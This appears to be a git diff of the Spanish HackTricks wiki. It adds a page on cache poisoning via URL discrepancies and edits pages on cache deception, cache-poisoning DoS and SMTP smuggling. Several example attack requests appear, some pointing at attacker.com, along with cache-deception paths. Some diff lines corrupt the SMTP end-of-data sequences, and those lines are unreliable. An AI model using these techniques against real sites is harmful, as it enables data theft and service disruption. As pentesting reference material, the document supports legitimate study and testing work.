diff --git a/.gitbook/assets/image (1250).png b/.gitbook/assets/image (1250).png new file mode 100644 index 000000000..5cdaa3f27 Binary files /dev/null and b/.gitbook/assets/image (1250).png differ diff --git a/.gitbook/assets/image (1251).png b/.gitbook/assets/image (1251).png new file mode 100644 index 000000000..ac0656bc0 Binary files /dev/null and b/.gitbook/assets/image (1251).png differ diff --git a/.gitbook/assets/image (1252).png b/.gitbook/assets/image (1252).png new file mode 100644 index 000000000..a526a8805 Binary files /dev/null and b/.gitbook/assets/image (1252).png differ diff --git a/.gitbook/assets/image (1253).png b/.gitbook/assets/image (1253).png new file mode 100644 index 000000000..7dd3a1a71 Binary files /dev/null and b/.gitbook/assets/image (1253).png differ diff --git a/SUMMARY.md b/SUMMARY.md index f9518a74c..87eee4342 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -531,6 +531,7 @@ * [Bypass Payment Process](pentesting-web/bypass-payment-process.md) * [Captcha Bypass](pentesting-web/captcha-bypass.md) * [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md) + * [Cache Poisoning via URL discrepancies](pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md) * [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md) * [Clickjacking](pentesting-web/clickjacking.md) * [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md) diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md index 109174f59..f6473ae0f 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md +++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -1,8 +1,8 @@ # SMTP Smuggling {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -30,14 +30,14 @@ Esto se debe a que en el protocolo SMTP, los **datos del mensaje** que se enviar Para explotar esta vulnerabilidad, un atacante necesita enviar algunos datos que el **servidor SMTP saliente piensa que es solo 1 correo, pero el servidor SMTP entrante piensa que hay varios correos**. Los investigadores descubrieron que diferentes **servidores entrantes consideran diferentes caracteres como el final de los datos** del mensaje de correo que los servidores salientes no.\ -Por ejemplo, un final regular de los datos es `\r\n.\r\n`. Pero si el servidor SMTP entrante también soporta `\n.\n`, un atacante podría simplemente agregar **esos datos en su correo y comenzar a indicar los comandos SMTP** de nuevos correos para introducirlos, tal como en la imagen anterior. +Por ejemplo, un final regular de los datos es `\r\n.\r`. Pero si el servidor SMTP entrante también soporta `\n.`, un atacante podría simplemente agregar **esos datos en su correo y comenzar a indicar los comandos SMTP** de nuevos correos para introducirlos, tal como en la imagen anterior. Por supuesto, esto solo podría funcionar si el **servidor SMTP saliente no trata también estos datos** como el final de los datos del mensaje, porque en ese caso vería 2 correos en lugar de solo 1, así que al final esta es la desincronización que se está abusando en esta vulnerabilidad. Datos de desincronización potencial: -* `\n.\n` -* `\n.\r\n` +* `\n.` +* `\n.\r` También tenga en cuenta que el SPF se elude porque si introduce un correo de `admin@outlook.com` desde un correo de `user@outlook.com`, **el remitente sigue siendo `outlook.com`.** @@ -46,8 +46,8 @@ También tenga en cuenta que el SPF se elude porque si introduce un correo de `a * [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/cache-deception/README.md b/pentesting-web/cache-deception/README.md index 339feafea..a35c2a310 100644 --- a/pentesting-web/cache-deception/README.md +++ b/pentesting-web/cache-deception/README.md @@ -1,8 +1,8 @@ # Cache Poisoning y Cache Deception {% hint style="success" %} -Aprende y practica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -18,7 +18,7 @@ Aprende y practica GCP Hacking:
\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ +Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas** del mundo.\ Obtén acceso hoy: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} @@ -36,9 +36,9 @@ El envenenamiento de caché tiene como objetivo manipular la caché del lado del La ejecución de un ataque de envenenamiento de caché implica varios pasos: -1. **Identificación de Entradas No Claveadas**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché. -2. **Explotación de las Entradas No Claveadas**: Después de identificar las entradas no claveadas, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante. -3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché está envenenada recibirá la respuesta contaminada. +1. **Identificación de Entradas Sin Clave**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché. +2. **Explotación de las Entradas Sin Clave**: Después de identificar las entradas sin clave, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante. +3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada. ### Descubrimiento: Verificar encabezados HTTP @@ -56,7 +56,7 @@ Puedes encontrar más opciones en: Sin embargo, ten en cuenta que **a veces estos tipos de códigos de estado no se almacenan en caché**, por lo que esta prueba podría no ser confiable. -### Descubrimiento: Identificar y evaluar entradas no claveadas +### Descubrimiento: Identificar y evaluar entradas sin clave Podrías usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **fuerza bruta de parámetros y encabezados** que pueden estar **cambiando la respuesta de la página**. Por ejemplo, una página puede estar usando el encabezado `X-Forwarded-For` para indicar al cliente que cargue el script desde allí: ```markup @@ -68,10 +68,13 @@ Con el parámetro/cabecera identificado, verifica cómo está siendo **sanitizad ### Get the response cached -Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** **abusar** de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de almacenar en caché, esto podría tomar algún tiempo, podrías necesitar intentarlo durante varios segundos.\ +Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** **abusar** de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de almacenar en caché, esto podría tomar algún tiempo, podrías necesitar intentarlo durante varios segundos. + La cabecera **`X-Cache`** en la respuesta podría ser muy útil ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\ -La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso se almacenará en caché nuevamente: `Cache-Control: public, max-age=1800`\ -Otra cabecera interesante es **`Vary`**. Esta cabecera se utiliza a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.\ +La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: `Cache-Control: public, max-age=1800` + +Otra cabecera interesante es **`Vary`**. Esta cabecera se utiliza a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico. + Una cabecera más relacionada con la caché es **`Age`**. Define el tiempo en segundos que el objeto ha estado en la caché del proxy. Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que usas** porque algunas de ellas podrían ser **usadas inesperadamente** como **indexadas** y la **víctima necesitará usar esa misma cabecera**. Siempre **prueba** un Cache Poisoning con **diferentes navegadores** para verificar si está funcionando. @@ -105,13 +108,27 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` Note que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares estarán limpiando la caché. -### Cache poisoning con path traversal para robar la clave de API +### Generando discrepancias con delimitadores, normalización y puntos + +Verifique: + +{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} +[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md) +{% endcontent-ref %} + +### Envenenamiento de caché con recorrido de ruta para robar la clave de API [**Este informe explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) cómo fue posible robar una clave de API de OpenAI con una URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque cualquier cosa que coincida con `/share/*` será almacenada en caché sin que Cloudflare normalice la URL, lo cual se hizo cuando la solicitud llegó al servidor web. +Esto también se explica mejor en: + +{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} +[cache-poisoning-via-url-discrepancies.md](cache-poisoning-via-url-discrepancies.md) +{% endcontent-ref %} + ### Usando múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web -A veces necesitarás **explotar varias entradas sin clave** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Open redirect** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde apunta la página por el redireccionamiento. +A veces necesitarás **explotar varias entradas sin clave** para poder abusar de una caché. Por ejemplo, puedes encontrar un **redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde apunta la página por el redireccionamiento. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -129,7 +146,7 @@ X-Host: attacker.com ``` ### Fat Get -Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github: +Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena en caché la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -156,18 +173,6 @@ El [Escáner de Vulnerabilidades de Cache Web](https://github.com/Hackmanit/Web- Ejemplo de uso: `wcvs -u example.com` - - -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\ -Obtén acceso hoy: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} - - - ## Vulnerable Examples ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) @@ -180,7 +185,7 @@ Enviar un valor incorrecto en el encabezado content-type activó una respuesta 4 ### GitLab + GCP CP-DoS -GitLab utiliza buckets de GCP para almacenar contenido estático. **Los Buckets de GCP** soportan el **encabezado `x-http-method-override`**. Así que era posible enviar el encabezado `x-http-method-override: HEAD` y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método `PURGE`. +GitLab utiliza buckets de GCP para almacenar contenido estático. **Los Buckets de GCP** soportan el **encabezado `x-http-method-override`**. Por lo tanto, era posible enviar el encabezado `x-http-method-override: HEAD` y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método `PURGE`. ### Rack Middleware (Ruby on Rails) @@ -188,7 +193,7 @@ En aplicaciones Ruby on Rails, a menudo se utiliza middleware Rack. El propósit ### 403 and Storage Buckets -Cloudflare anteriormente almacenaba en caché respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de autorización incorrectos resultaría en una respuesta 403 que se almacenaba en caché. Aunque Cloudflare ha dejado de almacenar en caché respuestas 403, este comportamiento podría seguir presente en otros servicios proxy. +Cloudflare anteriormente almacenaba en caché respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con encabezados de autorización incorrectos resultaría en una respuesta 403 que se almacenó en caché. Aunque Cloudflare ha dejado de almacenar en caché respuestas 403, este comportamiento podría seguir presente en otros servicios de proxy. ### Injecting Keyed Parameters @@ -208,7 +213,7 @@ El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los carac ## Cache Deception -El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que se van a guardar en la caché con su información sensible**. +El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que van a ser guardados por la caché con su información sensible**. Primero, ten en cuenta que **extensiones** como `.css`, `.js`, `.png`, etc., suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios. @@ -225,7 +230,7 @@ Otro ejemplo muy claro se puede encontrar en este informe: [https://hackerone.co En el ejemplo, se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\ Luego, el **atacante** puede acceder a _http://www.example.com/home.php/non-existent.css_ en su propio navegador y observar la **información confidencial** de los usuarios que accedieron antes. -Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el content-type. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un content-type de `text/html` en lugar de un tipo MIME de `text/css` (que es el esperado para un archivo _.css_). +Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el tipo de contenido. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un tipo de contenido `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_). Aprende aquí cómo realizar [ataques de Decepción de Caché abusando de HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). @@ -245,14 +250,14 @@ Aprende aquí cómo realizar [ataques de Decepción de Caché abusando de HTTP R
\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\ +Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas más avanzadas** de la comunidad.\ Obtén acceso hoy: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/pentesting-web/cache-deception/cache-poisoning-to-dos.md index 7ed96aed3..5780e73bc 100644 --- a/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -1,8 +1,8 @@ # Cache Poisoning to DoS {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -27,9 +27,9 @@ GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` -* **Caracteres Meta HTTP (HMC) y valores inesperados** +* **HTTP Meta Character (HMC) y valores inesperados** -Envía un encabezado que contenga algunos **caracteres meta dañinos** como `\n` y `\r`. Para que el ataque funcione, primero debes eludir la caché. +Envía un encabezado que contenga algunos **caracteres meta dañinos** como . Para que el ataque funcione, primero debes eludir la caché. ``` GET / HTTP/1.1 Host: redacted.com @@ -58,7 +58,7 @@ Invalid Header ``` * **HTTP Method Override Attack (HMO)** -Si el servidor admite cambiar el método HTTP con encabezados como `X-HTTP-Method-Override`, `X-HTTP-Method` o `X-Method-Override`. Es posible solicitar una página válida cambiando el método para que el servidor no lo admita, por lo que se almacena en caché una respuesta incorrecta: +Si el servidor admite cambiar el método HTTP con encabezados como `X-HTTP-Method-Override`, `X-HTTP-Method` o `X-Method-Override`. Es posible solicitar una página válida cambiando el método para que el servidor no lo admita, por lo que una mala respuesta se almacena en caché: ``` GET /blogs HTTP/1.1 Host: redacted.com @@ -137,8 +137,8 @@ Cache: hit * [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------) {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md new file mode 100644 index 000000000..a27d27d0d --- /dev/null +++ b/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -0,0 +1,79 @@ +# Cache Poisoning via URL discrepancies + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +Este es un resumen de las técnicas propuestas en el post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) para realizar ataques de cache poisoning **abusando de las discrepancias entre los proxies de caché y los servidores web.** + +{% hint style="info" %} +El objetivo de este ataque es **hacer que el servidor de caché piense que se está cargando un recurso estático** para que lo almacene en caché, mientras que el servidor de caché almacena como clave de caché parte de la ruta, pero el servidor web responde resolviendo otra ruta. El servidor web resolverá la ruta real que cargará una página dinámica (que podría almacenar información sensible sobre el usuario, una carga maliciosa como XSS o redirigir para cargar un archivo JS desde el sitio web del atacante, por ejemplo). +{% endhint %} + +## Delimitadores + +**Los delimitadores de URL** varían según el marco y el servidor, lo que impacta cómo se enrutan las solicitudes y se manejan las respuestas. Algunos delimitadores de origen comunes son: + +* **Punto y coma**: Usado en Spring para variables de matriz (por ejemplo, `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). +* **Punto**: Especifica el formato de respuesta en Ruby on Rails (por ejemplo, `/MyAccount.css` → `/MyAccount`). +* **Byte nulo**: Trunca rutas en OpenLiteSpeed (por ejemplo, `/MyAccount%00aaa` → `/MyAccount`). +* **Byte de nueva línea**: Separa componentes de URL en Nginx (por ejemplo, `/users/MyAccount%0aaaa` → `/account/MyAccount`). + +Otros delimitadores específicos pueden encontrarse siguiendo este proceso: + +* **Paso 1**: Identificar solicitudes no cacheables y usarlas para monitorear cómo se manejan las URL con posibles delimitadores. +* **Paso 2**: Agregar sufijos aleatorios a las rutas y comparar la respuesta del servidor para determinar si un carácter funciona como delimitador. +* **Paso 3**: Introducir posibles delimitadores antes del sufijo aleatorio para ver si la respuesta cambia, indicando el uso de delimitadores. + +## Normalización y codificaciones + +* **Propósito**: Los analizadores de URL en los servidores de caché y de origen normalizan las URL para extraer rutas para el mapeo de puntos finales y claves de caché. +* **Proceso**: Identifica los delimitadores de ruta, extrae y normaliza la ruta decodificando caracteres y eliminando segmentos de punto. + +### **Codificaciones** + +Diferentes servidores HTTP y proxies como Nginx, Node y CloudFront decodifican los delimitadores de manera diferente, lo que lleva a inconsistencias entre CDNs y servidores de origen que podrían ser explotadas. Por ejemplo, si el servidor web realiza esta transformación `/myAccount%3Fparam` → `/myAccount?param` pero el servidor de caché mantiene como clave la ruta `/myAccount%3Fparam`, hay una inconsistencia. + +Una forma de verificar estas inconsistencias es enviar solicitudes codificando diferentes caracteres después de cargar la ruta sin ninguna codificación y verificar si la respuesta de la ruta codificada provino de la respuesta en caché. + +### Segmento de punto + +La normalización de la ruta donde están involucrados los puntos también es muy interesante para los ataques de cache poisoning. Por ejemplo, `/static/../home/index` o `/aaa..\home/index`, algunos servidores de caché almacenarán en caché estas rutas con ellas mismas como claves, mientras que otros podrían resolver la ruta y usar `/home/index` como la clave de caché.\ +Al igual que antes, enviar este tipo de solicitudes y verificar si la respuesta se obtuvo de la caché ayuda a identificar si la respuesta a `/home/index` es la respuesta enviada cuando se solicitan esas rutas. + +## Recursos estáticos + +Varios servidores de caché siempre almacenarán en caché una respuesta si se identifica como estática. Esto puede ser porque: + +* **La extensión**: Cloudflare siempre almacenará en caché archivos con las siguientes extensiones: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx. +* Es posible forzar a una caché a almacenar una respuesta dinámica utilizando un delimitador y una extensión estática, como una solicitud a `/home$image.png` que almacenará en caché `/home$image.png` y el servidor de origen responderá con `/home`. +* **Directorios estáticos bien conocidos**: Los siguientes directorios contienen archivos estáticos y, por lo tanto, su respuesta debería ser almacenada en caché: /static, /assets, /wp-content, /media, /templates, /public, /shared. +* Es posible forzar a una caché a almacenar una respuesta dinámica utilizando un delimitador, un directorio estático y puntos como: `/home/..%2fstatic/something` almacenará en caché `/static/something` y la respuesta será `/home`. +* **Directorios estáticos + puntos**: Una solicitud a `/static/..%2Fhome` o a `/static/..%5Chome` podría ser almacenada en caché tal cual, pero la respuesta podría ser `/home`. +* **Archivos estáticos:** Algunos archivos específicos siempre se almacenan en caché, como `/robots.txt`, `/favicon.ico` y `/index.html`. Lo que se puede abusar como `/home/..%2Frobots.txt` donde la caché podría almacenar `/robots.txt` y el servidor de origen responder a `/home`. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index c5267a200..46c1b975c 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -1,16 +1,16 @@ # SSTI (Inyección de Plantillas del Lado del Servidor) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Apoya a HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
